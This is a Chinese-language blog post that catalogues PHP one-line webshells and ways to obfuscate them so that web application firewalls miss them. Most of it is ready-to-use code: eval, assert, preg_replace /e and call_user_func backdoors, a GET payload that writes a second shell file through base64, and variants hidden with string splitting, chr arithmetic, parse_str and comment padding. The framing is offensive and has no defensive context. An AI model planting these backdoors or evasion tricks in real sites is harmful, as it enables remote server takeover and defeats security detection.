PHP一句話木馬及繞waf思路

PHP一句話木馬:
1 .eval():

<?php @eval($_POST['-7']); ?> 

eval函數將接受的字符串當做代碼執行。
2.assert():

<?php  @assert ($_POST['-7']); ?>

assert函數將接受的字符串當做代碼執行 。
3.preg_replace():

<?php @preg_replace("/abcd/e",$_POST['-7'],"abcdefg"); ?>  

preg_replace 函數一個參數是一個正則表達式,按照 php的格式,表達式在兩個/之間,如果在表達式末尾加上一個 e,則第二個參數就會被當做 php代碼執行。

4.call_user_func():

<?php @call_user_func('eval',$_POST['-7']);  ?>   

函數的第一個參數是被調動的函數,剩下的參數(可有多個參數)是被調用函數的參數。
call_user_func_array(): 方法同上,只是第二個參數要是一個數組,作爲第一個參數的參數。
5. 用GET函數就構成了木馬;利用文件操作的方法構建payload:

<?php @$_GET[a]($_GET[b]);?>
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

讓一句話木馬變形繞過 WAF:
WAF通常會以關鍵字判斷是否爲一句話木馬,所以要將一句話木馬變形使用,從而繞過 waf:

  1. php變量函數:
 <?php 
        $a = "assert";
        $a($_POST['-7']);
    ?>
  1. str_replace函數:
 <?php 
            $a = str_replace("b", "", "absbsbebrbt");
            $a($_POST['-7']);
        ?>

此函數用於將第三個參數中的第一個參數替換爲第二個參數

  1. base64_decode 函數:
<?php 
    $a = base64_decode("YXNzZXJ0");
    $a($_POST['-7']);
?>
  1. 使用"."連接字符串:
<?php 
            $b = "a"."ss";
            $c = "er"."t";
            $a = $b.$c;
            $a($_POST['-7']);
?>
  1. pares_str函數:
<?php 
            $str = "a=assert";
            parse_str($str);/parse_str("a=assert");
            $a($_POST['-7']);
        ?>
  1. chr函數:
<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);  
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>
  1. 使用註釋:
<?php 
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; 
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章